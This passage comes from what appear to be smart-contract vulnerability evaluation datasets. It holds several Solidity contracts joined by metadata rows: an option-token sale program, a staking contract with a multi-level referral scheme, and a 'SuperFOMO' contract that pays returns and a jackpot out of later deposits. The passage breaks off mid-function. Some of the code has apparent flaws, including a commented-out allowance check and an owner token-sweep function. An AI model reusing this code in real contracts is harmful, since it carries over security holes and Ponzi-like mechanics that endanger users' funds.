uint256 swapValue = amount.div(2);
uint256 tokenAmount = _swapNativeForToken(swapValue, address(this));
if (rose.allowance(address(this), address(router)) == 0) {
rose.approve(address(router), type(uint256).max);
}
(, , liquidity) = router.addLiquidityETH{value: amount.sub(swapValue)}(token,
tokenAmount,
0,
0,
recipient,
block.timestamp);
return liquidity;
}
function _swapNativeForToken(uint256 value, address recipient) private returns (uint256) {
address[] memory path;
path = new address[](2);
path[0] = router.WETH();
path[1] = address(rose);
uint256[] memory amounts = router.swapExactETHForTokens{value: value}(0, path, recipient, block.timestamp);
return amounts[amounts.length - 1];
}
// Set discount rate by only owner
function setDiscountRate(uint256 _did, uint256 _discountRate) public onlyOwner {
require(_discountRate <= MAX_PERCENT, 'Max is 100%');
discountRate[_did] = _discountRate;
}
function setWhitelist(uint256 _did, address[] calldata toAddAddresses) public onlyOwner {
for (uint256 i = 0; i < toAddAddresses.length; i++) {
whitelist[toAddAddresses[i]] = _did;
}
}
// Set vesting time by only owner. Unit is timstamp
function setvestingTime(uint256 _vestingTime) public onlyOwner {
vestingTime = _vestingTime;
}
// Set limit Ether amount by only Owner
function setPaymentLimit(uint256 _paymentLimit) public onlyOwner {
paymentLimit = _paymentLimit;
}
// Get dao fund
function getDaoFund(uint256 _amount) public onlyOwner {
uint256 bal = address(this).balance;
if (_amount > bal) {
_amount = bal;
}
daoFund.transfer(_amount);
}
function setBondStart() public onlyOwner {
isBondable = true;
}
receive() external payable {}
}
| 40,978 | 13,518 |
ebe4802811e8fb74427d5fa8b972618830739ff8023aa3c843e9ef11c3237d71
| 11,863 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xf0e3ed8c38ba9cca1ab013bb6b9de822e536bfce.sol
| 2,778 | 9,816 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract GVOptionToken is StandardToken {
address public optionProgram;
string public name;
string public symbol;
uint public constant decimals = 18;
uint TOKEN_LIMIT;
// Modifiers
modifier optionProgramOnly { require(msg.sender == optionProgram); _; }
// Constructor
function GVOptionToken(address _optionProgram,
string _name,
string _symbol,
uint _TOKEN_LIMIT) {
require(_optionProgram != 0);
optionProgram = _optionProgram;
name = _name;
symbol = _symbol;
TOKEN_LIMIT = _TOKEN_LIMIT;
}
// Create tokens
function buyOptions(address buyer, uint value) optionProgramOnly {
require(value > 0);
require(totalSupply + value <= TOKEN_LIMIT);
balances[buyer] += value;
totalSupply += value;
Transfer(0x0, buyer, value);
}
function remainingTokensCount() returns(uint) {
return TOKEN_LIMIT - totalSupply;
}
// Burn option tokens after execution during ICO
function executeOption(address addr, uint optionsCount)
optionProgramOnly
returns (uint) {
if (balances[addr] < optionsCount) {
optionsCount = balances[addr];
}
if (optionsCount == 0) {
return 0;
}
balances[addr] -= optionsCount;
totalSupply -= optionsCount;
return optionsCount;
}
}
contract GVOptionProgram {
// Constants
uint constant option30perCent = 26 * 1e16; // GVOT30 tokens per usd cent during option purchase
uint constant option20perCent = 24 * 1e16; // GVOT20 tokens per usd cent during option purchase
uint constant option10perCent = 22 * 1e16; // GVOT10 tokens per usd cent during option purchase
uint constant token30perCent = 13684210526315800; // GVT tokens per usd cent during execution of GVOT30
uint constant token20perCent = 12631578947368500; // GVT tokens per usd cent during execution of GVOT20
uint constant token10perCent = 11578947368421100; // GVT tokens per usd cent during execution of GVOT10
string public constant option30name = "30% GVOT";
string public constant option20name = "20% GVOT";
string public constant option10name = "10% GVOT";
string public constant option30symbol = "GVOT30";
string public constant option20symbol = "GVOT20";
string public constant option10symbol = "GVOT10";
uint constant option30_TOKEN_LIMIT = 26 * 1e5 * 1e18;
uint constant option20_TOKEN_LIMIT = 36 * 1e5 * 1e18;
uint constant option10_TOKEN_LIMIT = 55 * 1e5 * 1e18;
// Events
event BuyOptions(address buyer, uint amount, string tx, uint8 optionType);
event ExecuteOptions(address buyer, uint amount, string tx, uint8 optionType);
// State variables
address public gvAgent; // payments bot account
address public team; // team account
address public ico;
GVOptionToken public gvOptionToken30;
GVOptionToken public gvOptionToken20;
GVOptionToken public gvOptionToken10;
// Modifiers
modifier icoOnly { require(msg.sender == ico); _; }
// Constructor
function GVOptionProgram(address _ico, address _gvAgent, address _team) {
gvOptionToken30 = new GVOptionToken(this, option30name, option30symbol, option30_TOKEN_LIMIT);
gvOptionToken20 = new GVOptionToken(this, option20name, option20symbol, option20_TOKEN_LIMIT);
gvOptionToken10 = new GVOptionToken(this, option10name, option10symbol, option10_TOKEN_LIMIT);
gvAgent = _gvAgent;
team = _team;
ico = _ico;
}
// Get remaining tokens for all types of option tokens
function getBalance() public returns (uint, uint, uint) {
return (gvOptionToken30.remainingTokensCount(), gvOptionToken20.remainingTokensCount(), gvOptionToken10.remainingTokensCount());
}
// Execute options during the ICO token purchase. Priority: GVOT30 -> GVOT20 -> GVOT10
function executeOptions(address buyer, uint usdCents, string txHash) icoOnly
returns (uint executedTokens, uint remainingCents) {
require(usdCents > 0);
(executedTokens, remainingCents) = executeIfAvailable(buyer, usdCents, txHash, gvOptionToken30, 0, token30perCent);
if (remainingCents == 0) {
return (executedTokens, 0);
}
uint executed20;
(executed20, remainingCents) = executeIfAvailable(buyer, remainingCents, txHash, gvOptionToken20, 1, token20perCent);
if (remainingCents == 0) {
return (executedTokens + executed20, 0);
}
uint executed10;
(executed10, remainingCents) = executeIfAvailable(buyer, remainingCents, txHash, gvOptionToken10, 2, token10perCent);
return (executedTokens + executed20 + executed10, remainingCents);
}
// Buy option tokens. Priority: GVOT30 -> GVOT20 -> GVOT10
function buyOptions(address buyer, uint usdCents, string txHash) icoOnly {
require(usdCents > 0);
var remainUsdCents = buyIfAvailable(buyer, usdCents, txHash, gvOptionToken30, 0, option30perCent);
if (remainUsdCents == 0) {
return;
}
remainUsdCents = buyIfAvailable(buyer, remainUsdCents, txHash, gvOptionToken20, 1, option20perCent);
if (remainUsdCents == 0) {
return;
}
remainUsdCents = buyIfAvailable(buyer, remainUsdCents, txHash, gvOptionToken10, 2, option10perCent);
}
// Private functions
function executeIfAvailable(address buyer, uint usdCents, string txHash,
GVOptionToken optionToken, uint8 optionType, uint optionPerCent)
private returns (uint executedTokens, uint remainingCents) {
var optionsAmount = usdCents * optionPerCent;
executedTokens = optionToken.executeOption(buyer, optionsAmount);
remainingCents = usdCents - (executedTokens / optionPerCent);
if (executedTokens > 0) {
ExecuteOptions(buyer, executedTokens, txHash, optionType);
}
return (executedTokens, remainingCents);
}
function buyIfAvailable(address buyer, uint usdCents, string txHash,
GVOptionToken optionToken, uint8 optionType, uint optionsPerCent)
private returns (uint) {
var availableTokens = optionToken.remainingTokensCount();
if (availableTokens > 0) {
var tokens = usdCents * optionsPerCent;
if(availableTokens >= tokens) {
optionToken.buyOptions(buyer, tokens);
BuyOptions(buyer, tokens, txHash, optionType);
return 0;
}
else {
optionToken.buyOptions(buyer, availableTokens);
BuyOptions(buyer, availableTokens, txHash, optionType);
return usdCents - availableTokens / optionsPerCent;
}
}
return usdCents;
}
}
| 222,754 | 13,519 |
477fda51f65f9878a4242fa246b1ef07553613ccb72aad46f7a9f1de78a6352e
| 17,619 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/47/4775beb6076c80141c09e3b7cd92441a28c76abd_Staking.sol
| 4,487 | 16,962 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view returns (address) {
return msg.sender;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view returns (address) {
return _owner;
}
function _checkOwner() private view {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() external onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
function _nonReentrantBefore() private {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
}
function _nonReentrantAfter() private {
_status = _NOT_ENTERED;
}
function _reentrancyGuardEntered() private view returns (bool) {
return _status == _ENTERED;
}
}
contract Referral is Context {
struct User {
bool referred;
address referred_by;
}
struct Referral_rewards {
uint256 level_1;
uint256 level_2;
uint256 level_3;
uint256 level_4;
uint256 level_5;
}
struct Referral_levels {
uint256 level_1;
uint256 level_2;
uint256 level_3;
uint256 level_4;
uint256 level_5;
}
mapping(address => Referral_levels) public referInfo;
mapping(address => User) public userInfo;
mapping(address => Referral_rewards) public claimedRefRewards;
mapping(address => address[]) internal referrals_level_1;
mapping(address => address[]) internal referrals_level_2;
mapping(address => address[]) internal referrals_level_3;
mapping(address => address[]) internal referrals_level_4;
mapping(address => address[]) internal referrals_level_5;
function getReferInfo() external view returns (Referral_levels memory) {
return referInfo[_msgSender()];
}
function addReferee(address ref) public {
require(ref != _msgSender(), " You cannot refer yourself ");
userInfo[_msgSender()].referred = true;
userInfo[_msgSender()].referred_by = ref;
address level1 = userInfo[_msgSender()].referred_by;
address level2 = userInfo[level1].referred_by;
address level3 = userInfo[level2].referred_by;
address level4 = userInfo[level3].referred_by;
address level5 = userInfo[level4].referred_by;
if ((level1 != _msgSender()) && (level1 != address(0))) {
referrals_level_1[level1].push(_msgSender());
referInfo[level1].level_1 += 1;
}
if ((level2 != _msgSender()) && (level2 != address(0))) {
referrals_level_2[level2].push(_msgSender());
referInfo[level2].level_2 += 1;
}
if ((level3 != _msgSender()) && (level3 != address(0))) {
referrals_level_3[level3].push(_msgSender());
referInfo[level3].level_3 += 1;
}
if ((level4 != _msgSender()) && (level4 != address(0))) {
referrals_level_4[level4].push(_msgSender());
referInfo[level4].level_4 += 1;
}
if ((level5 != _msgSender()) && (level5 != address(0))) {
referrals_level_5[level5].push(_msgSender());
referInfo[level5].level_5 += 1;
}
}
function getReferees(address ref, uint256 level) public view returns (address[] memory)
{
address[] memory referees;
if (level == 1) {
referees = referrals_level_1[ref];
}
else if (level == 2) {
referees = referrals_level_2[ref];
}
else if (level == 3) {
referees = referrals_level_3[ref];
}
else if (level == 4) {
referees = referrals_level_4[ref];
}
else {
referees = referrals_level_5[ref];
}
return referees;
}
}
contract Staking is Ownable, ReentrancyGuard, Referral {
struct PoolInfo {
uint256 lockupDuration;
uint256 returnPer;
}
struct OrderInfo {
address beneficiary;
uint256 amount;
uint256 lockupDuration;
uint256 returnPer;
uint256 starttime;
uint256 endtime;
uint256 claimedReward;
bool claimed;
}
uint256 private constant _days90 = 7776000;
uint256 private constant _days180 = 15552000;
uint256 private constant _days365 = 31536000;
IERC20 public token;
bool public started = true;
uint256 public emergencyWithdrawFees = 25;
uint256 private latestOrderId = 0;
uint256 public totalStake = 0;
uint256 public totalWithdrawal = 0;
uint256 public totalRewardPending = 0;
uint256 public totalRewardsDistribution = 0;
mapping(uint256 => PoolInfo) public pooldata;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public totalRewardEarn;
mapping(uint256 => OrderInfo) public orders;
mapping(address => uint256[]) private orderIds;
event Deposit(address indexed user, uint256 indexed lockupDuration, uint256 amount, uint256 returnPer);
event Withdraw(address indexed user, uint256 amount, uint256 reward, uint256 total);
event WithdrawAll(address indexed user, uint256 amount);
event RewardClaimed(address indexed user, uint256 reward);
event RefRewardClaimed(address indexed user, uint256 reward);
constructor(address _token, bool _started) {
token = IERC20(_token);
started = _started;
pooldata[90].lockupDuration = _days90; // 90 days
pooldata[90].returnPer = 30;
pooldata[180].lockupDuration = _days180; // 180 days
pooldata[180].returnPer = 50;
pooldata[365].lockupDuration = _days365; // 365 days
pooldata[365].returnPer = 100;
}
function deposit(uint256 _amount, uint256 _lockupDuration, address _referrer) external {
if (_referrer != address(0) && !userInfo[_msgSender()].referred) {
addReferee(_referrer);
}
PoolInfo storage pool = pooldata[_lockupDuration];
require(pool.lockupDuration > 0, "TokenStakingCIP: asked pool does not exist");
require(started, "TokenStakingCIP: staking not yet started");
require(_amount > 0, "TokenStakingCIP: stake amount must be non zero");
uint256 APY = (_amount * pool.returnPer) / 100;
uint256 userReward = (APY * pool.lockupDuration) / _days365;
uint256 requiredToken = (totalStake - totalWithdrawal) + totalRewardPending + userReward;
require(requiredToken <= token.balanceOf(address(this)), "TokenStakingCIP: insufficient contract balance to return rewards");
require(token.transferFrom(_msgSender(), address(this), _amount), "TokenStakingCIP: token transferFrom via deposit not succeeded");
orders[++latestOrderId] = OrderInfo(_msgSender(),
_amount,
pool.lockupDuration,
pool.returnPer,
block.timestamp,
block.timestamp + pool.lockupDuration,
0,
false);
totalStake += _amount;
totalRewardPending += userReward;
balanceOf[_msgSender()] += _amount;
orderIds[_msgSender()].push(latestOrderId);
emit Deposit(_msgSender(), pool.lockupDuration, _amount, pool.returnPer);
}
function withdraw(uint256 orderId) external nonReentrant {
require(orderId <= latestOrderId, "TokenStakingCIP: INVALID orderId, orderId greater than latestOrderId");
OrderInfo storage orderInfo = orders[orderId];
require(_msgSender() == orderInfo.beneficiary, "TokenStakingCIP: caller is not the beneficiary");
require(!orderInfo.claimed, "TokenStakingCIP: order already unstaked");
require(block.timestamp >= orderInfo.endtime, "TokenStakingCIP: stake locked until lock duration completion");
uint256 claimAvailable = pendingRewards(orderId);
uint256 total = orderInfo.amount + claimAvailable;
totalRewardEarn[_msgSender()] += claimAvailable;
totalRewardsDistribution += claimAvailable;
orderInfo.claimedReward += claimAvailable;
totalRewardPending -= claimAvailable;
balanceOf[_msgSender()] -= orderInfo.amount;
totalWithdrawal += orderInfo.amount;
orderInfo.claimed = true;
require(token.transfer(address(_msgSender()), total), "TokenStakingCIP: token transfer via withdraw not succeeded");
emit Withdraw(_msgSender(), orderInfo.amount, claimAvailable, total);
}
function emergencyWithdraw(uint256 orderId) external nonReentrant {
require(orderId <= latestOrderId, "TokenStakingCIP: INVALID orderId, orderId greater than latestOrderId");
OrderInfo storage orderInfo = orders[orderId];
require(_msgSender() == orderInfo.beneficiary, "TokenStakingCIP: caller is not the beneficiary");
require(!orderInfo.claimed, "TokenStakingCIP: order already unstaked");
uint256 claimAvailable = pendingRewards(orderId);
uint256 fees = (orderInfo.amount * emergencyWithdrawFees) / 100;
orderInfo.amount -= fees;
uint256 total = orderInfo.amount + claimAvailable;
totalRewardEarn[_msgSender()] += claimAvailable;
totalRewardsDistribution += claimAvailable;
orderInfo.claimedReward += claimAvailable;
uint256 APY = ((orderInfo.amount+fees) * orderInfo.returnPer) / 100;
uint256 totalReward = (APY * orderInfo.lockupDuration) / _days365;
totalRewardPending -= (totalReward- orderInfo.claimedReward);
balanceOf[_msgSender()] -= (orderInfo.amount + fees);
totalWithdrawal += (orderInfo.amount+fees);
orderInfo.claimed = true;
require(token.transfer(address(_msgSender()), total), "TokenStakingCIP: token transfer via emergency withdraw not succeeded");
emit WithdrawAll(_msgSender(), total);
}
function claimRewards(uint256 orderId) external nonReentrant {
require(orderId <= latestOrderId, "TokenStakingCIP: INVALID orderId, orderId greater than latestOrderId");
OrderInfo storage orderInfo = orders[orderId];
require(_msgSender() == orderInfo.beneficiary, "TokenStakingCIP: caller is not the beneficiary");
require(!orderInfo.claimed, "TokenStakingCIP: order already unstaked");
uint256 claimAvailable = pendingRewards(orderId);
totalRewardEarn[_msgSender()] += claimAvailable;
totalRewardsDistribution += claimAvailable;
totalRewardPending -= claimAvailable;
orderInfo.claimedReward += claimAvailable;
require(token.transfer(address(_msgSender()), claimAvailable), "TokenStakingCIP: token transfer via claim rewards not succeeded");
emit RewardClaimed(address(_msgSender()), claimAvailable);
}
function pendingRewards(uint256 orderId) public view returns (uint256) {
require(orderId <= latestOrderId, "TokenStakingCIP: INVALID orderId, orderId greater than latestOrderId");
OrderInfo storage orderInfo = orders[orderId];
if (!orderInfo.claimed) {
if (block.timestamp >= orderInfo.endtime) {
uint256 APY = (orderInfo.amount * orderInfo.returnPer) / 100;
uint256 reward = (APY * orderInfo.lockupDuration) / _days365;
uint256 claimAvailable = reward - orderInfo.claimedReward;
return claimAvailable;
} else {
uint256 stakeTime = block.timestamp - orderInfo.starttime;
uint256 APY = (orderInfo.amount * orderInfo.returnPer) / 100;
uint256 reward = (APY * stakeTime) / _days365;
uint256 claimAvailableNow = reward - orderInfo.claimedReward;
return claimAvailableNow;
}
} else {
return 0;
}
}
function toggleStaking(bool _start) external onlyOwner returns (bool) {
started = _start;
return true;
}
function investorOrderIds(address investor) external view returns (uint256[] memory ids)
{
uint256[] memory arr = orderIds[investor];
return arr;
}
function claimRefRewards() external nonReentrant {
Referral_rewards memory ref_rewards = _calculateRefRewards(_msgSender());
Referral_rewards memory claimed_ref_rewards = claimedRefRewards[_msgSender()];
uint256 availableRewards = _sumRefRewards(ref_rewards);
Referral_rewards memory updatedClaimed = Referral_rewards(claimed_ref_rewards.level_1 + ref_rewards.level_1,
claimed_ref_rewards.level_2 + ref_rewards.level_2,
claimed_ref_rewards.level_3 + ref_rewards.level_3,
claimed_ref_rewards.level_4 + ref_rewards.level_4,
claimed_ref_rewards.level_5 + ref_rewards.level_5);
claimedRefRewards[_msgSender()] = updatedClaimed;
uint256 requiredToken = (totalStake - totalWithdrawal) + totalRewardPending + availableRewards;
require(requiredToken <= token.balanceOf(address(this)), "TokenStakingCIP: insufficient contract balance to return referrer rewards");
require(token.transfer(_msgSender(), availableRewards), "TokenStakingCIP: token transfer to beneficiary via referrer rewards not succeeded");
emit RefRewardClaimed(address(_msgSender()), availableRewards);
}
function _calculateRefRewards(address ref) private view returns (Referral_rewards memory)
{
uint256 level_1_rewards;
for (uint256 i = 0; i < referrals_level_1[ref].length; i++) {
level_1_rewards += _totalRewards(referrals_level_1[ref][i]);
}
uint256 level_2_rewards;
for (uint256 i = 0; i < referrals_level_2[ref].length; i++) {
level_2_rewards += _totalRewards(referrals_level_2[ref][i]);
}
uint256 level_3_rewards;
for (uint256 i = 0; i < referrals_level_3[ref].length; i++) {
level_3_rewards += _totalRewards(referrals_level_3[ref][i]);
}
uint256 level_4_rewards;
for (uint256 i = 0; i < referrals_level_4[ref].length; i++) {
level_4_rewards += _totalRewards(referrals_level_4[ref][i]);
}
uint256 level_5_rewards;
for (uint256 i = 0; i < referrals_level_5[ref].length; i++) {
level_5_rewards += _totalRewards(referrals_level_5[ref][i]);
}
return Referral_rewards(((level_1_rewards * 10) / 100) - claimedRefRewards[ref].level_1,
((level_2_rewards * 7) / 100) - claimedRefRewards[ref].level_2,
((level_3_rewards * 5) / 100) - claimedRefRewards[ref].level_3,
((level_4_rewards * 4) / 100) - claimedRefRewards[ref].level_4,
((level_5_rewards * 2) / 100) - claimedRefRewards[ref].level_5);
}
function _sumRefRewards(Referral_rewards memory _refRewards) private pure returns (uint256)
{
uint256 rewards = _refRewards.level_1 + _refRewards.level_2 + _refRewards.level_3 + _refRewards.level_4 + _refRewards.level_5;
return rewards;
}
function _totalRewards(address ref) private view returns (uint256) {
uint256 rewards;
uint256[] memory arr = orderIds[ref];
for (uint256 i = 0; i < arr.length; i++) {
OrderInfo memory order = orders[arr[i]];
rewards += (order.claimedReward + pendingRewards(arr[i]));
}
return rewards;
}
function getRefRewards(address _address) public view returns (Referral_rewards memory)
{
return _calculateRefRewards(_address);
}
function transferAnyERC20Token(address payaddress, address tokenAddress, uint256 amount) external onlyOwner {
IERC20(tokenAddress).transfer(payaddress, amount);
}
}
| 51,772 | 13,520 |
a53bc7fbd130f096c78c80db9146c483b6533b674f0676d4ebddc1b393bc0a49
| 17,216 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xab820b476da01abbb8e7f0e7a359eb803d0fcabf.sol
| 3,739 | 12,962 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Storage {
address private owner;
mapping (address => Investor) investors;
struct Investor {
uint index;
mapping (uint => uint) deposit;
mapping (uint => uint) interest;
mapping (uint => uint) withdrawals;
mapping (uint => uint) start;
uint checkpoint;
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function updateInfo(address _address, uint _value, uint _interest) external onlyOwner {
investors[_address].deposit[investors[_address].index] += _value;
investors[_address].start[investors[_address].index] = block.timestamp;
investors[_address].interest[investors[_address].index] = _interest;
}
function updateCheckpoint(address _address) external onlyOwner {
investors[_address].checkpoint = block.timestamp;
}
function updateWithdrawals(address _address, uint _index, uint _withdrawal) external onlyOwner {
investors[_address].withdrawals[_index] += _withdrawal;
}
function updateIndex(address _address) external onlyOwner {
investors[_address].index += 1;
}
function ind(address _address) external view returns(uint) {
return investors[_address].index;
}
function d(address _address, uint _index) external view returns(uint) {
return investors[_address].deposit[_index];
}
function i(address _address, uint _index) external view returns(uint) {
return investors[_address].interest[_index];
}
function w(address _address, uint _index) external view returns(uint) {
return investors[_address].withdrawals[_index];
}
function s(address _address, uint _index) external view returns(uint) {
return investors[_address].start[_index];
}
function c(address _address) external view returns(uint) {
return investors[_address].checkpoint;
}
}
contract SuperFOMO {
using SafeMath for uint;
address public owner;
address advertising;
address techsupport;
uint waveStartUp;
uint jackPot;
uint lastLeader;
address[] top;
Storage x;
event LogInvestment(address indexed _addr, uint _value);
event LogPayment(address indexed _addr, uint _value);
event LogReferralInvestment(address indexed _referrer, address indexed _referral, uint _value);
event LogGift(address _firstAddr, address _secondAddr, address _thirdAddr, address _fourthAddr, address _fifthAddr);
event LogNewWave(uint _waveStartUp);
event LogNewLeader(address _leader);
modifier notOnPause() {
require(waveStartUp <= block.timestamp);
_;
}
modifier notFromContract() {
address addr = msg.sender;
uint size;
assembly { size := extcodesize(addr) }
require(size <= 0);
_;
}
constructor(address _advertising, address _techsupport) public {
owner = msg.sender;
advertising = _advertising;
techsupport = _techsupport;
waveStartUp = block.timestamp;
x = new Storage();
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedreferrer) {
assembly {
parsedreferrer := mload(add(_source,0x14))
}
return parsedreferrer;
}
function setRef() internal returns(uint) {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender && getDividends(_referrer) > 0) {
_referrer.transfer(msg.value / 20);
emit LogReferralInvestment(_referrer, msg.sender, msg.value);
return(msg.value / 50);
} else {
advertising.transfer(msg.value / 20);
return(0);
}
}
function getInterest() public view returns(uint) {
uint multiplier = (block.timestamp.sub(waveStartUp)) / 6 days;
if (multiplier == 0) {
return 25;
}
if (multiplier <= 8){
return(15 + (multiplier * 10));
} else {
return 100;
}
}
function toTheTop() internal {
top.push(msg.sender);
lastLeader = block.timestamp;
emit LogNewLeader(msg.sender);
}
function payDay() internal {
top[top.length - 1].transfer(jackPot * 3 / 5);
top[top.length - 2].transfer(jackPot / 10);
top[top.length - 3].transfer(jackPot / 10);
top[top.length - 4].transfer(jackPot / 10);
top[top.length - 5].transfer(jackPot / 10);
jackPot = 0;
lastLeader = block.timestamp;
emit LogGift(top[top.length - 1], top[top.length - 2], top[top.length - 3], top[top.length - 4], top[top.length - 5]);
}
function() external payable {
if (msg.value < 50000000000000000) {
msg.sender.transfer(msg.value);
withdraw();
} else {
invest();
}
}
function invest() public payable notOnPause notFromContract {
require(msg.value >= 0.05 ether);
jackPot += msg.value * 3 / 100;
if (x.d(msg.sender, 0) > 0) {
x.updateIndex(msg.sender);
} else {
x.updateCheckpoint(msg.sender);
}
if (msg.data.length == 20) {
uint addend = setRef();
} else {
advertising.transfer(msg.value / 20);
}
x.updateInfo(msg.sender, msg.value + addend, getInterest());
if (msg.value >= 1 ether) {
toTheTop();
}
emit LogInvestment(msg.sender, msg.value);
}
function withdraw() public {
uint _payout;
uint _multiplier;
if (block.timestamp > x.c(msg.sender) + 2 days) {
_multiplier = 1;
}
for (uint i = 0; i <= x.ind(msg.sender); i++) {
if (x.w(msg.sender, i) < x.d(msg.sender, i) * 2) {
if (x.s(msg.sender, i) <= x.c(msg.sender)) {
uint dividends = (x.d(msg.sender, i).mul(_multiplier.mul(15).add(x.i(msg.sender, i))).div(1000)).mul(block.timestamp.sub(x.c(msg.sender).add(_multiplier.mul(2 days)))).div(1 days);
dividends = dividends.add(x.d(msg.sender, i).mul(x.i(msg.sender, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(msg.sender, i) + dividends <= x.d(msg.sender, i) * 2) {
x.updateWithdrawals(msg.sender, i, dividends);
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(msg.sender, i).mul(2)).sub(x.w(msg.sender, i)));
x.updateWithdrawals(msg.sender, i, x.d(msg.sender, i) * 2);
}
} else {
if (x.s(msg.sender, i) + 2 days >= block.timestamp) {
dividends = (x.d(msg.sender, i).mul(_multiplier.mul(15).add(x.i(msg.sender, i))).div(1000)).mul(block.timestamp.sub(x.s(msg.sender, i).add(_multiplier.mul(2 days)))).div(1 days);
dividends = dividends.add(x.d(msg.sender, i).mul(x.i(msg.sender, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(msg.sender, i) + dividends <= x.d(msg.sender, i) * 2) {
x.updateWithdrawals(msg.sender, i, dividends);
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(msg.sender, i).mul(2)).sub(x.w(msg.sender, i)));
x.updateWithdrawals(msg.sender, i, x.d(msg.sender, i) * 2);
}
} else {
dividends = (x.d(msg.sender, i).mul(x.i(msg.sender, i)).div(1000)).mul(block.timestamp.sub(x.s(msg.sender, i))).div(1 days);
x.updateWithdrawals(msg.sender, i, dividends);
_payout = _payout.add(dividends);
}
}
}
}
if (_payout > 0) {
if (_payout > address(this).balance && address(this).balance <= 0.1 ether) {
nextWave();
return;
}
x.updateCheckpoint(msg.sender);
advertising.transfer(_payout * 3 / 25);
techsupport.transfer(_payout * 3 / 100);
msg.sender.transfer(_payout * 17 / 20);
emit LogPayment(msg.sender, _payout * 17 / 20);
}
if (block.timestamp >= lastLeader + 1 days && top.length >= 5) {
payDay();
}
}
function nextWave() private {
top.length = 0;
x = new Storage();
waveStartUp = block.timestamp + 10 days;
emit LogNewWave(waveStartUp);
}
function getDeposits(address _address) public view returns(uint Invested) {
uint _sum;
for (uint i = 0; i <= x.ind(_address); i++) {
